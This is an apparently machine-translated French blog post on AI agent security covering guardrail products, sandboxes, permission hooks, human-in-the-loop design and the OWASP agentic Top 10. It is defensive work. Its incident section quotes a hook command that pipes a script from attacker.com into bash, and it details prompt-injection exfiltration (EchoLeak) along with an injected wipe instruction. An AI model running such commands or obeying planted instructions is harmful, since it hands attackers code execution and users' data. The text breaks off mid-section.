Traduction automatique
Cet article a été traduit automatiquement depuis la version originale en anglais.
Sécurité des agents IA en 2026 : garde-fous, permissions, sandboxes et menaces MCP
Partie 4 de la série Engineering the Agentic Stack
La sécurité des agents IA n’est pas le même problème que la sûreté des LLM. En 2024, nous avons livré des garde-fous. NeMo Guardrails, Bedrock Guardrails et quelques produits similaires encapsulaient l’entrée et la sortie d’un appel modèle et posaient une seule question : le modèle produit-il la bonne chose ? Sortie toxique, fuite de PII, jailbreak, hors sujet. Filtrer, expurger, refuser. La menace était facile à voir parce qu’il n’y avait que deux endroits à inspecter : l’entrée et la sortie.
Puis nous avons donné au modèle une boucle d’outils, un système de fichiers, un shell, un registre Model Context Protocol (MCP) et l’autorité d’agir. Le modèle de menace des agents IA a changé sous nos pieds, et la plupart des garde-fous de 2024 ne l’ont pas remarqué. Six incidents graves en dix-huit mois (EchoLeak, la compromission de l’extension Amazon Q Developer, la divulgation Azure MCP Server, Claude Code CVE-2025-59536, le trojan d’accès distant axios 1.14.1 et le détournement de tag Trivy Actions, détaillés ci-dessous) n’étaient pas traitables par un meilleur filtre de sortie. La sortie était correcte. C’est le système qui a été compromis.
TL;DR : les garde-fous LLM et les filtres de contenu encapsulent un appel modèle unique et surveillent ce qu’il dit. La sécurité des agents IA encapsule toute la boucle d’usage d’outils et surveille ce qu’il essaie de faire. Tous les incidents majeurs sur agents en 2025–2026 ont exploité la boucle, et aucun n’a déclenché de filtre de contenu. La pile de politiques 2026 comporte six couches : échelles de permissions, hooks pré-outil, sandboxes OS, interruptions human-in-the-loop, tokens MCP liés à une audience et OWASP Agentic Security Initiative (ASI) Top 10 comme cartographie des menaces.
Les filtres de contenu sont bon marché et valent la peine d’être achetés sur étagère. Tout le reste de cette liste est du travail d’ingénierie que votre équipe doit faire, et cela consomme l’essentiel de votre budget sécurité.
Pourquoi la sécurité des agents IA est différente de la sûreté des LLM
Bharani Subramaniam et Martin Fowler ont posé le cadre au début de 2025 dans Emerging Patterns in Building GenAI Products. Leur observation était étroite et directe :
"With traditional systems, we could assess correctness primarily through testing... With LLM-based systems, we encounter a system that no longer behaves deterministically."
L’industrie a entendu cela, a construit des suites d’évaluation pour les sorties des modèles, puis a oublié d’évaluer ce que le modèle pouvait réellement faire : appeler des outils, exécuter des commandes shell, écrire des fichiers. Le recadrage de 2026 est celui qui compte : « le modèle produit-il la bonne chose ? » n’est pas la même question que « le système fait-il la bonne chose ? » La première est un marché saturé. La seconde est là où vivent réellement les pannes de production.
Simon Willison a donné la forme du risque spécifique aux agents en juin 2025 avec la trifecta létale :
"The lethal trifecta of capabilities is: access to your private data; exposure to untrusted content; the ability to externally communicate in a way that could be used to steal your data. If your agent combines these three features, an attacker can easily trick it into accessing your private data and sending it to that attacker."
Lisez cela, puis lisez n’importe quel schéma d’architecture d’agent. Lecture de boîte mail plus récupération web plus post Slack. Accès au repo plus lecture d’issues plus écriture de PR. Calendrier plus email plus SMS. La trifecta n’est pas un cas limite. C’est la forme par défaut de tout agent utile sur un laptop d’entreprise. Un garde-fou LLM demande si le modèle a dit quelque chose de dangereux. La trifecta demande si le système peut être piloté vers un comportement dangereux. Question différente.
La version structurelle du même argument apparaît dans le preprint Parallax de Joel Fokou (arXiv 2604.12986, soumis le 14 avril 2026, non relu par les pairs). L’affirmation centrale :
"The system that reasons about actions must be structurally unable to execute them, and the system that executes actions must be structurally unable to reason about them, with an independent, immutable validator interposed between the two."
Vous n’avez pas besoin d’adhérer aux chiffres d’évaluation de l’article pour retenir le point structurel. Chaque harness livré en avril 2026 approxime l’un de ses quatre principes :
- Les hooks PreToolUse de Claude Code
- L’exécuteur cloisonné au niveau OS de Codex CLI (bubblewrap/seccomp sur Linux)
- Le coffre de credentials de Managed Agents hors de la sandbox
- Les tokens liés à une audience du RFC 8707 dans MCP
La séparation cognitif/exécutif, c’est-à-dire garder séparé ce qui décide de ce qui agit, n’est pas un test de pureté. C’est la forme des systèmes qui ne se sont pas encore fait compromettre.
Il existe une discipline complémentaire, nommée avec le plus de netteté par Alessandro Pignati en janvier 2026 : le Principle of Least Agency. Le Least Privilege demande à quoi cette identité peut-elle accéder ? Le Least Agency demande que cet agent est-il autorisé à décider ? Le privilège contraint les credentials ; l’agency contraint la portée d’un plan même quand les credentials sont valides. Le Top 10 OWASP pour les applications agentiques traite l’Excessive Agency comme l’une des dix catégories d’échec. Le Least Agency est la discipline de conception qui l’empêche. Un agent qui peut résumer votre boîte mail n’a probablement pas besoin de droits de commit sur votre monorepo. Nous continuons pourtant à trouver des configurations où il les a.
Ce que couvrent réellement les LLM Guardrails
Avant d’expliquer ce que ratent les LLM guardrails, je veux leur reconnaître ce qu’ils font. Ils accomplissent un travail utile à l’intérieur de l’appel modèle. Ils ne voient simplement pas la boucle autour.
Pour nommer clairement cette couche : les LLM guardrails sont la couche de filtrage de contenu. Ils inspectent le texte qui entre dans le modèle et le texte qui en sort, et bloquent, expurgent ou signalent ce qui ne passe pas. Les sept produits ci-dessous ont cette forme, et je les désignerai comme des « filtres de contenu » lorsque les sections suivantes devront les opposer aux échelles de permissions et au human-in-the-loop.
Le marché est mûr et banalisé. Chaque grand cloud a un produit, les formes convergent et la tarification est en centimes par millier d’unités de texte. Un schéma d’architecture de 2026 va inclure l’un des sept produits ci-dessous, et il le doit. Ne le confondez simplement pas avec un périmètre.
NVIDIA NeMo Guardrails
Le plus prescriptif : un framework d’orchestration autour de cinq types de rails (input, dialog, retrieval, execution, output) avec son propre DSL — Colang, un langage de type Python pour les flux de dialogue, les intentions utilisateur et les messages du bot. Vous pouvez piloter les bases avec Python + YAML, mais une logique de dialogue plus riche s’écrit en Colang — d’où le qualificatif « prescriptif ». Documentation sur docs.nvidia.com/nemo/guardrails.
from nemoguardrails import LLMRails, RailsConfig
config = RailsConfig.from_path("./config")
rails = LLMRails(config)
response = rails.generate(
messages=[{"role": "user", "content": "Hello"}]
)
Le repo de NeMo est explicite sur son modèle de menace : "common LLM vulnerabilities, such as jailbreaks and prompt injections." Il est tout aussi explicite sur son périmètre : "The built-in guardrails may or may not be suitable for a given production use case... developers should work with their internal application team to ensure guardrails meets requirements." En pratique, cela signifie : NeMo surveillera ce que dit le modèle. Ce que l’agent fait (quels outils il appelle, quels arguments il passe, ce qu’il relit depuis le système de fichiers) vous incombe.
Meta Llama Guard 4
Un classifieur de contenu pur 12B, élagué à partir de Llama-4-Scout, aligné sur la taxonomie des risques MLCommons (13 catégories de nuisances plus l’abus de code-interpreter, d’après la model card). Meta est inhabituellement franc sur les limites :
"Some hazard categories may require factual, up-to-date knowledge to be evaluated fully... Lastly, as an LLM, Llama Guard 4 may be susceptible to adversarial attacks or prompt injection attacks that could bypass or alter its intended use: see Llama Prompt Guard 2 for detecting prompt attacks."
Meta livre un produit séparé pour défendre son classifieur de contenu contre les prompt injections. Si cette phrase vous semble être un aveu structurel, c’en est un.
Guardrails AI
Un registre de validateurs. Vous composez plus de 60 validateurs du Hub (PII via Presidio, JailbreakDetect, CompetitorCheck, contrôles de provenance) avec des modes d’échec raise | fix | filter | refrain | reask | noop (guardrailsai.com). Il n’y a pas de modèle de menace unifié ; la couverture est égale à l’union des validateurs installés. Points forts : flexible (vous obtenez ce que vous installez). Faiblesses : flexible (vous obtenez uniquement ce que vous installez).
Lakera Guard
Le SaaS API installé sur le marché, entraîné sur des dizaines de millions d’échantillons d’attaque collectés à partir de Gandalf. Promet de filtrer l’entrée et la sortie pour les « prompt attacks... and data leakage ». Le niveau gratuit est à 10 000 requêtes/mois ; la tarification entreprise est opaque.
AWS Bedrock Guardrails
Le choix par défaut en entreprise si vous êtes déjà sur Bedrock. ApplyGuardrail fonctionne avec n’importe quel modèle, Bedrock ou non :
import boto3
brt = boto3.client("bedrock-runtime")
resp = brt.apply_guardrail(
guardrailIdentifier="gr-xxxxxxxxxxxx",
guardrailVersion="2",
source="INPUT",
content=[{"text": {"text": "user question",
"qualifiers": ["guard_content"]}}],
)
Tarification publiée : 0,15 $ par 1 000 unités de texte pour les filtres de contenu ou les sujets interdits, 0,10 $ pour les filtres PII ou l’ancrage contextuel. Une unité de texte correspond à jusqu’à 1 000 caractères.
Azure AI Content Safety
Livre Prompt Shields comme endpoint unifié qui « detects and blocks adversarial user input attacks... direct and indirect threats ». Azure est aussi franc : "You can't use Azure AI Content Safety to detect illegal child exploitation images," et la qualité multilingue est limitée à huit langues évaluées.
OpenAI Moderation and OpenAI Guardrails
omni-moderation-latest est la base multimodale gratuite. Séparément, openai-guardrails-python (docs sur guardrails.openai.com) est la réponse framework d’OpenAI : un pipeline en trois étapes (pre-flight, input, output) avec Jailbreak Detection, Hallucination Detection via FileSearch, NSFW, PII via Presidio et LLM-as-judge. GuardrailAgent s’intègre dans l’Agents SDK.
from guardrails import GuardrailsOpenAI, GuardrailTripwireTriggered
client = GuardrailsOpenAI(config="guardrail_config.json")
try:
resp = client.responses.create(model="gpt-5", input="...")
except GuardrailTripwireTriggered as e:
print(f"blocked: {e}")
Le pattern sous les produits
Deux observations qui s’appliquent aux sept produits.
D’abord, les chiffres publiés sur la latence et le débit sont rares. Bedrock, Azure et Lakera publient des tarifs mais aucune garantie sur la latence worst-case (la valeur du 99e percentile, ou « p99 » — celle qui détermine à quel point vos requêtes les plus lentes deviennent lentes). Meta ne publie pas non plus de garanties d’endpoint hébergé pour Llama Guard. NVIDIA livre NemoGuard sous forme de microservices téléchargeables que vous hébergez vous-même ; vous payez donc l’infrastructure et définissez vos propres niveaux de service. Chaque garde-fou que vous ajoutez est un appel modèle supplémentaire sur le chemin critique. Empilez-en trois naïvement (un bouclier d’entrée, un bouclier de sortie, un contrôle d’hallucination) et vous pouvez tripler la latence end-to-end par rapport à une génération simple. Le tableau de bord p99 sera le premier à vous le dire.
Ensuite, et c’est tout l’objet de ce billet, aucun de ces produits ne prétend couvrir la politique au niveau des appels d’outils, l’authentification MCP, l’exfiltration multi-étapes via du contenu récupéré, le détournement d’objectif de l’agent via des fichiers de configuration, ou l’exécution de code qui se produit avant même l’invocation du modèle. Ils filtrent des tokens. Les agents agissent hors du flux de génération du modèle, dans les appels d’outils, les fichiers et le réseau, là où aucun classifieur de tokens ne peut les voir.
Menaces de sécurité des agents IA : six incidents et le Top 10 OWASP ASI
L’écart entre « filtrer des tokens » et « protéger la boucle » a cessé d’être académique mi-2025. Six incidents en dix-huit mois ont changé le modèle de menace. Aucun n’aurait été stoppé par un produit de la section précédente.
EchoLeak — CVE-2025-32711, CVSS 9.3
Divulgué par Aim Labs en juin 2025 contre Microsoft 365 Copilot, avec l’analyse technique désormais hébergée chez Cato Networks (qui a absorbé l’équipe de recherche d’Aim Security) sous la signature d’Itay Ravia, ancien Head of Aim Labs (analyse). Un email forgé, formulé comme des instructions à destination du destinataire humain, a contourné XPIA (le filtre intégré de Microsoft qui cherche les attaques par prompt injection dans les entrées de Copilot). À partir de là, il a été aspiré dans la couche de retrieval de Copilot — la partie du système qui parcourt vos documents pour trouver du contexte pour les réponses — via une astuce que les chercheurs appellent RAG-spraying : l’attaquant plante la même instruction malveillante dans de nombreux documents indexés, de sorte que le retrieval tire presque à coup sûr au moins l’un d’eux dans le contexte du modèle. Une fois à l’intérieur, Copilot a docilement intégré les données les plus sensibles de la session dans un lien Markdown pointant vers une image sur un domaine contrôlé par l’attaquant. L’API Teams preview, exécutée sur un domaine déjà approuvé par les propres politiques navigateur de Microsoft, a automatiquement récupéré cette URL d’image et, ce faisant, a remis les données à l’attaquant. Zéro clic. Aim Labs a nommé cette classe d’attaque « LLM Scope Violation » : le modèle franchit une frontière qu’il n’était jamais censé franchir, en n’utilisant que des opérations que chaque système individuel considérait comme légitimes.
Chaque étape semblait légitime prise isolément. L’email s’adressait à un humain. Le retrieval a remonté un document qu’il devait remonter. Le lien Markdown s’est affiché comme les liens Markdown s’affichent. La récupération de l’image a touché un domaine allowlisté. XPIA n’avait rien à signaler car rien, pris seul, n’était signalable. Le système a été compromis. Le modèle, non.
Amazon Q Developer VS Code v1.84.0 — juillet 2025
AWS a livré un build compromis après qu’un attaquant a commité un fichier de system prompt malveillant via un token GitHub CodeBuild trop largement scopé (advisory). Le prompt injecté demandait à l’agent de « clean a system to a near-factory state and delete file-system and cloud resources ». Une erreur de syntaxe a empêché l’exécution réelle sur les ~950 000 installations. AWS a révoqué les credentials, supprimé le code et livré la version v1.85.0. Le payload a échoué à cause d’une erreur de syntaxe, pas grâce à un contrôle.
Azure MCP Server — CVE-2026-32211, CVSS 9.1
L’exemple le plus net d’une protection placée à la mauvaise couche. Le flux CVE l’enregistre ainsi : "Missing authentication for critical function in Azure MCP Server allows an unauthorized attacker to disclose information over a network." Le SDK MCP n’a pas d’auth intégrée. Ce serveur a oublié d’en ajouter une. Aucun filtre de contenu n’est jamais invoqué car le modèle n’entre pas en jeu. L’attaquant parle directement à l’outil.
Claude Code CVE-2025-59536 — CVSS 8.7
La vulnérabilité canonique de confiance accordée à la configuration de l’agent. Aviv Donenfeld et Oded Vanunu de Check Point ont divulgué que "repository-defined configurations defined through .mcp.json and .claude/settings.json files could be exploited by an attacker to override explicit user approval... by setting the enableAllProjectMcpServers option to true."
La chaîne d’attaque mérite d’être parcourue lentement :
- La victime clone un repo non fiable.
- Un hook
SessionStartexécutecurl attacker.com/shell.sh | bashavant l’apparition de la boîte de dialogue de confiance de Claude Code. .mcp.jsonapprouve automatiquement des serveurs MCP non fiables.ANTHROPIC_BASE_URL(la CVE compagnon CVE-2026-21852, CVSS 5.3) redirige silencieusement tous les appels Claude API, y compris les Bearer tokens, vers un hôte contrôlé par l’attaquant.
Corrigé dans Claude Code 1.0.111 et 2.0.65 respectivement (advisory GHSA-ph6w-f82w-28w6). Le résumé de Check Point est celui qu’il faut retenir : "traditional prompt injection defenses... provide zero protection." Le code de l’attaquant s’exécute sur votre machine (ce que les équipes sécurité appellent une exécution de code à distance, ou RCE) avant même que le modèle ne soit invoqué.
Axios 1.14.1 — 31 mars 2026
Le mainteneur jasonsaayman dans le post-mortem : "two malicious versions of axios (1.14.1 and 0.30.4) were published to the npm registry through my compromised account. Both versions injected a dependency called plain-crypto-js@4.2.1 that installed a remote access trojan on macOS, Windows, and Linux." Un remote access trojan est un malware qui ouvre discrètement une porte dérobée — il permet à l’attaquant d’exécuter des commandes, de lire des fichiers et d’observer ce que vous tapez depuis ailleurs sur Internet. Fenêtre d’exposition : environ trois heures. Attribution : UNC1069 (Sapphire Sleet) selon le groupe threat intelligence de Google. Tout agent de code qui a exécuté npm install pendant cette fenêtre a récupéré la backdoor. Le modèle n’a jamais été impliqué. Il ne l’est jamais dans cette classe d’incident.
Trivy Actions Tag Hijack — GHSA-69fq-xp46-6x23, 19 mars 2026
Un attaquant a réécrit 76 des 77 tags de version dans aquasecurity/trivy-action — le dépôt que d’innombrables pipelines CI utilisent pour le security scanning — de sorte que les tags pointaient désormais vers un malware voleur de credentials au lieu du vrai code Trivy. Il a remplacé de la même manière les 7 tags dans setup-trivy, puis a livré un binaire v0.69.4 qui récupérait les variables d’environnement (mots de passe, clés API, tokens — les éléments présents dans /proc/<pid>/environ sur Linux) directement depuis les runners GitHub Actions (Aqua advisory). Tout agent de code qui a exécuté npm install ou une étape de security scan pendant la fenêtre a automatiquement exécuté le payload, parce que les agents font confiance aux tags comme les humains, c’est-à-dire totalement.
Le Top 10 OWASP ASI, édition 2026
OWASP (Open Worldwide Application Security Project, l’organisation à but non lucratif à l’origine de la liste canonique Top 10 des vulnérabilités web autour de laquelle la plupart des programmes de sécurité s’organisent) l’avait vu venir. Son Agentic Security Initiative est un groupe de travail centré spécifiquement sur les agents pilotés par LLM, et le 9 décembre 2025 il a publié le Top 10 Agentic Security Initiative pour 2026 : un catalogue classé des dix catégories de vulnérabilités qui distinguent les systèmes agents des applications LLM classiques.
La liste mérite d’être lue lentement. Elle s’appuie sur les zones où les incidents réels se sont concentrés, croisées avec ce que la communauté sécurité au sens large identifie comme les modes d’échec les plus lourds de conséquences dans les déploiements d’agents en production. Lisez-la comme une checklist de ce qu’un modèle de menace moderne pour agent est censé couvrir :
Comptez les catégories qu’un filtre de contenu traite principalement. ASI01 partiellement, peut-être une partie de ASI06. Disons deux sur dix. Les huit autres concernent le harness. EchoLeak correspond à ASI01. Amazon Q correspond à ASI04 et ASI02. Azure MCP, c’est ASI03. Claude Code CVE-2025-59536, c’est ASI05 + ASI04 + ASI03. Axios et Trivy, c’est ASI04. La distribution des incidents et la distribution OWASP s’accordent sur la forme de 2026 : la classe de menace dominante est descendue sous le modèle.
La permission est de l’infrastructure, pas du prompt
C’est ici que les garde-fous cessent d’être le produit et deviennent un sous-système d’un harness. Trois systèmes en avril 2026 (OpenAI Agents SDK, Codex CLI et Claude Code) montrent à quoi ressemble réellement une surface de politique de production. Tous trois imposent les permissions dans le code. Aucun ne repose sur la prudence du modèle.
OpenAI Agents SDK
Le SDK sépare le harness du compute. Les outils MCP hébergés prennent require_approval — une chaîne ("always" / "never") ou un dict par outil — plus un callback on_approval_request qui se déclenche lorsqu’un outil est bloqué par une règle. Le filtrage fin par outil (tool_filter) est disponible sur les variantes de serveur local (MCPServerStdio, MCPServerStreamableHttp, MCPServerSse) si vous en avez besoin :
from agents import Agent, HostedMCPTool
agent = Agent(
name="Ops",
tools=[HostedMCPTool(
tool_config={
"type": "mcp",
"server_label": "github",
"server_url": "https://mcp.example.com",
"require_approval": {"delete_repo": "always",
"list_issues": "never"},
},
on_approval_request=lambda r:
"approve" if r.tool_name == "list_issues" else "reject",
)],
)
Le callback d’approbation est du code. La politique d’approbation par outil est du code. Vous pouvez lire ce fichier. Vous pouvez le tester. Vous pouvez le comparer. Rien de cela n’est vrai pour un system prompt qui dit « merci d’être prudent avec la production ».
Codex CLI et la couche de politique managée
Le harness de code d’OpenAI livre un fichier de managed-configuration que les équipes IT poussent sur les Macs des employés via leur système de gestion des appareils (le même mécanisme que celui utilisé pour installer des certificats ou des réglages VPN). Le fichier vit à /etc/codex/requirements.toml et agit comme une couche de contraintes dures — des règles que les paramètres au niveau projet ne peuvent pas surcharger, quoi qu’un développeur écrive dans sa propre configuration :
[[rules.prefix_rules]]
pattern = [{ token = "rm" }, { any_of = ["-rf", "-fr"] }]
decision = "forbidden"
justification = "Recursive force-delete prohibited by IT policy"
Deux détails de conception. prefix_rules.decision n’accepte que "prompt" ou "forbidden", jamais "allow". Un projet ne peut pas s’accorder à lui-même une permission que la couche managée interdit. Et les allowlists MCP sont indexées à la fois sur le nom et sur l’identité (chaîne de commande ou URL), de sorte qu’un projet ne peut pas prétendre être github-mcp tout en pointant vers le serveur d’un attaquant.
L’échelle de permissions de Claude Code
La plus élaborée de l’industrie. Chaque appel d’outil traverse six portes dans l’ordre (docs) : deny → ask → PreToolUse hooks → allow → mode → canUseTool. Les hooks ont priorité sur les modes, et un permissionDecision: "deny" provenant d’un hook bloque l’exécution même sous bypassPermissions.
Les modes basculent sur default → acceptEdits → plan avec Shift+Tab. auto, bypassPermissions et dontAsk s’activent sous des conditions d’entrée spécifiques que la couche de politique managée en entreprise peut verrouiller. Nous sommes au-delà d’un simple fichier de config vérifié pour sa correction. C’est une machine à états avec des règles de précédence, publiées pour qu’une équipe sécurité puisse raisonner dessus.
Trois rayons d’explosion dans un fichier
Voici la forme d’une configuration de permissions de style Codex avec trois profils :
# ~/.codex/config.toml
approval_policy = "auto"
sandbox_mode = "workspace-write"
[profiles.ci]
approval_policy = "read-only"
sandbox_mode = "read-only"
[profiles.release]
approval_policy = "full-access"
sandbox_mode = "workspace-write"
[mcp_servers.github]
command = "gh-mcp"
args = ["--readonly"]
Trois profils, trois rayons d’explosion, aucun prompt demandant à l’agent d’être prudent. Si l’agent tente quelque chose hors de son profil, la sandbox au niveau OS dit non. Seatbelt sur macOS, bubblewrap plus seccomp sur Linux, restricted tokens sur Windows. L’avis du modèle n’entre pas en jeu.
L’application des sandboxes est une question d’OS
C’est le kernel qui fait réellement le travail ici. Chaque OS fournit une boîte à outils différente, et les deux CLI ne choisissent pas toujours la même pièce :
| Platform | Claude Code | Codex CLI |
|---|---|---|
| macOS | Seatbelt via sandbox-exec with an SBPL (Seatbelt Profile Language) profile |
Seatbelt via sandbox-exec -p |
| Linux | bubblewrap + socat network proxy | bubblewrap + seccomp (legacy Landlock via use_legacy_landlock) |
| Windows | WSL2 required | Native restricted tokens / AppContainer + ACL + capability SIDs |
Ils convergent là où l’OS n’offre qu’une option (Seatbelt, bubblewrap) et divergent là où ce n’est pas le cas. Claude Code ignore Windows et vous renvoie vers WSL2. Codex livre une sandbox Windows native. Dans tous les cas, l’application a lieu dans le kernel, pas dans le modèle.
Sur Linux, le chemin de Codex empile quatre verrous au niveau kernel : PR_SET_NO_NEW_PRIVS (le processus ne peut jamais gagner de privilèges supplémentaires, même s’il essaie), un filtre seccomp (le kernel refuse purement et simplement la plupart des appels système ; ici, tout ce qui ouvre un socket réseau sauf les sockets Unix locaux), un /proc isolé et vierge (le processus ne peut pas voir le reste de la machine), et RLIMIT_CORE=0 (pas de crash dumps, donc rien ne fuit par ce chemin). Windows exécute deux modes, unelevated (un processus à restricted token qui perd des privilèges mais continue de tourner comme l’utilisateur) et elevated (un utilisateur de sandbox dédié, isolé derrière des règles firewall), plus de petits faux exécutables placés avant tout sur le PATH du système afin que les tentatives de l’agent d’exécuter curl ou wget tombent sur l’intercepteur et non sur le vrai outil. Toute une sous-discipline d’ingénierie se trouve ici, et le modèle n’entre jamais en scène. C’est là que se fait le vrai travail.
Au-delà de Claude Code et Codex : ce qu’utilise le reste de l’industrie
Si vous développez votre propre agent, « sandbox » se révèle être un terme parapluie. Les options open source se situent sur un spectre — des wrappers légers basés sur les namespaces à une extrémité, jusqu’aux microVMs complètes à l’autre — et votre choix dépend du niveau de confiance que vous accordez au code exécuté à l’intérieur.
Isolation légère — même kernel, moins de privilèges :
- bubblewrap — un wrapper namespace-plus-seccomp. Le même outil qu’utilise Flatpak, le même que Claude Code utilise sous Linux. Rapide, peu coûteux, adapté à de l’outillage de confiance.
- Les conteneurs Docker / OCI standard — isolation par namespaces sur un kernel hôte partagé. Ce n’est pas une sandbox pour du code non fiable ; la documentation de gVisor elle-même le dit clairement (« containers are not a sandbox »). Acceptable comme point de départ avec seccomp et AppArmor, rien de plus.
Isolation de type kernel applicatif — l’agent parle à un faux kernel :
- gVisor — le kernel user-space de Google. Votre conteneur pense tourner sur Linux ; les syscalls sont en réalité interceptés par une implémentation de kernel en Go. La surface d’attaque du kernel hôte se réduit fortement, sans le coût d’une VM. Utilisé par Modal.
Isolation VM complète — un kernel dédié par sandbox :
- Firecracker — la technologie microVM d’AWS, celle qui fait tourner Lambda. ~125 ms de cold start. Chaque sandbox obtient son propre vrai kernel Linux dans KVM. Une échappée kernel dans une sandbox ne touche ni l’hôte ni les voisines.
- Kata Containers — ergonomie conteneur, isolation de niveau VM. C’est là que vont les clusters Kubernetes quand ils doivent exécuter du code non fiable.
Plateformes — ce que vous loueriez au lieu de le construire :
- E2B encapsule Firecracker dans une API hébergée. Utilisé par Perplexity, Manus et la plupart des Fortune 100.
- OpenSandbox d’Alibaba vous laisse choisir votre runtime — gVisor, Kata ou Firecracker — derrière un seul SDK.
- Le Agent Governance Toolkit de Microsoft (sous licence MIT, avril 2026) ajoute un moteur de politiques runtime par-dessus. Application en moins d’une milliseconde, ciblant directement le Top 10 OWASP ASI.
Règle pratique. Vous exécutez vos propres scripts via un agent ? bubblewrap et seccomp suffisent. Vous exécutez du code généré par LLM ou des outils tiers non fiables ? Prenez au minimum gVisor. Des microVMs si le rayon d’explosion compte vraiment — multi-tenant, conformité, ou tout ce qui est exposé aux clients.
Claude Code et Codex ont pioché dans le même menu que tout le monde. Ils l’ont simplement encapsulé différemment.
Les hooks PreToolUse comme politique programmable
Les modes et les allowlists gèrent les cas simples : « laisser l’agent modifier des fichiers mais pas lancer bash », « refuser tout ce qui ressemble à rm -rf ». Ils s’effondrent dès que votre politique a besoin de vraie logique. Vous voulez bloquer git push uniquement quand la branche est main. Vous voulez refuser toute édition qui touche un fichier correspondant à une regex de secret. Vous voulez limiter le débit des appels shell par session, ou injecter chaque invocation d’outil dans votre journal d’audit central (le SIEM, le security information and event management system que votre équipe sécurité surveille déjà).
Rien de cela ne tient dans une allowlist statique. C’est à cela que servent les hooks — des commandes shell que Claude Code exécute à des moments précis du cycle de vie de l’appel d’outil, avec le pouvoir d’inspecter l’appel en attente et de retourner un allow/deny structuré. Claude Code expose une douzaine d’événements de cycle de vie (la liste complète est dans la documentation), et l’un d’eux réordonne tout le reste : un hook PreToolUse qui retourne permissionDecision: "deny" bloque un outil quel que soit le mode.
Voici la forme des paramètres :
{
"permissions": {
"defaultMode": "acceptEdits",
"deny": ["Bash(rm -rf:*)", "Bash(sudo:*)", "Read(.env*)"]
},
"hooks": {
"PreToolUse": [
{
"matcher": "Bash",
"hooks": [
{
"type": "command",
"command": ".claude/hooks/pre-bash-firewall.sh"
}
]
},
{
"matcher": "Edit|Write",
"hooks": [
{
"type": "command",
"command": ".claude/hooks/protect-paths.sh"
}
]
}
]
}
}
Un hook peut être un script shell de cinq lignes ou un moteur de politique complet. Ce qui compte, c’est la forme de retour :
{
"hookSpecificOutput": {
"permissionDecision": "deny",
"permissionDecisionReason": "writes outside workspace prohibited"
}
}
Le modèle voit un deny structuré. La boucle de raisonnement de la Partie 1 le traite comme n’importe quelle observation d’outil : le refus devient du contexte, l’agent replanifie et la boucle continue. C’est la petite raison importante pour laquelle je répète que la permission est de l’infrastructure. C’est câblé dans le même mécanisme que celui qui gère un 500 provenant d’un outil HTTP. Ce n’est pas un workflow sécurité séparé qu’il faut greffer ensuite.
Vous pouvez probablement deviner l’anti-pattern. Une équipe écrit un system prompt disant « ne supprimez aucun fichier sans confirmation explicite de l’utilisateur », livre l’agent, puis s’étonne qu’un prompt malin ou une sortie d’outil corrompue contourne l’instruction. Le modèle n’est pas un moteur de politique. C’est un pattern-matcher qui matche parfois le pattern que vous avez écrit et parfois celui que l’attaquant a écrit.
Human-in-the-Loop, et les chiffres sur la lecture effective de ces prompts
La couche de filtrage de contenu s’exécute en parallèle du modèle et surveille ce qu’il dit. Les échelles de permissions s’exécutent avant l’outil et surveillent ce qu’il essaie de faire. La troisième couche, celle qui attrape ce que les deux premières ont raté, c’est l’humain. Bien fait, le HITL est un canal d’escalade. Mal fait, c’est une boîte de dialogue que l’on clique machinalement 93 % du temps.
Le reste de cette section explique comment construire le premier type : le primitive LangGraph qui rend le HITL possible, la couche commerciale qui l’encapsule (HumanLayer), la recherche sur le fait de savoir si les humains lisent réellement les prompts, et le principe de conception qui vous tient à l’écart de la zone des 93 %.
Le primitive LangGraph
Le interrupt() + Command(resume=value) de LangGraph est le primitive de production en 2026 — la manière de facto dont les frameworks d’agents Python suspendent l’exécution, passent le contrôle à un humain et reprennent avec son entrée. Trois points sur son exécution réelle casseront votre agent si vous les manquez, et le premier est suffisamment étrange pour que je cite la doc mot pour mot :
"When execution resumes (after you provide the requested input), the runtime restarts the entire node from the beginning — it does not resume from the exact line where
interruptwas called."
Cette seule phrase a cassé plus d’agents de production que n’importe quel autre comportement de LangGraph. Trois pièges concrets en découlent :
1. Les effets de bord avant interrupt() doivent être idempotents. Quand l’humain répond, le nœud entier redémarre depuis le début, pas depuis la ligne interrupt(). Donc si votre nœud envoie un email, se met en pause pour approbation, puis retourne « envoyé », à la reprise l’email part une seconde fois. Correctif : placer les effets de bord après l’interrupt, ou les rendre sûrs à répéter (clés de déduplication, upsert au lieu de insert, cache par ID de message).
2. Les interrupts se raccordent aux reprises par index, pas par nom. Si un même nœud a deux appels interrupt(), LangGraph les associe aux valeurs Command(resume=...) dans l’ordre où ils se déclenchent. Tout branchement qui change le nombre d’interrupts exécutés (un if qui en saute un à la reprise, une boucle qui itère un nombre de fois différent) désalignera les index et provoquera un crash.
3. Les payloads doivent être sérialisables en JSON. La pause est écrite dans un checkpointer (Postgres, Redis, SQLite) afin que l’agent survive à un redémarrage du processus. Les objets Python bruts, datetime, set, les classes personnalisées : rien de tout cela ne fait un round-trip correct. Convertissez en dicts et types primitifs avant de passer quoi que ce soit à interrupt().
Les trois patterns canoniques :
# (a) Approval gate
@tool
def send_email(to, subject, body):
resp = interrupt({"action": "send_email", "to": to,
"subject": subject, "body": body})
if resp.get("action") == "approve":
return smtp_send(to, subject, body)
return "Email cancelled"
# (b) Edit-and-continue
def review_node(state):
edited = interrupt({"content": state["generated_text"]})
return {"generated_text": edited}
# (c) Mid-run state correction — loop until valid
def get_age_node(state):
prompt = "What is your age?"
while True:
answer = interrupt(prompt)
if isinstance(answer, int) and answer > 0:
return {"age": answer}
prompt = f"'{answer}' is not valid. Please enter a positive number."
La reprise se fait avec graph.invoke(Command(resume={"action": "approve"}), config=cfg). LangGraph 0.4+ prend en charge une reprise multi-interrupt basée sur des dicts pour les branches parallèles, ce qui devient important dès que votre agent se met à se répartir.
HumanLayer : l’approbation en tant que produit
HumanLayer est la version managée de la même idée. Décorez une fonction, et les demandes d’approbation sont routées vers Slack, email ou Discord, avec des règles pour savoir qui notifier. Lorsque l’agent essaie d’appeler multiply(2, 5), les logs ressemblent à ceci :
last message led to 1 tool calls: [('multiply', '{"x":2,"y":5}')]
HumanLayer: waiting for approval for multiply
L’approbateur clique sur approve ou deny dans Slack. En cas de deny, la documentation HumanLayer le formule ainsi : "HumanLayer will pass your feedback back to the agent, which can then adjust its approach." Ce dernier point est ce qui sépare une vraie couche HITL d’une simple boîte de confirmation. L’humain devient un signal sur lequel l’agent raisonne, à l’intérieur de la même boucle, au lieu d’un portail qui ne connaît que oui ou non.
Les chiffres dont personne ne veut parler
Anthropic a publié les vraies données en février 2026. Trois constats importent plus que les autres.
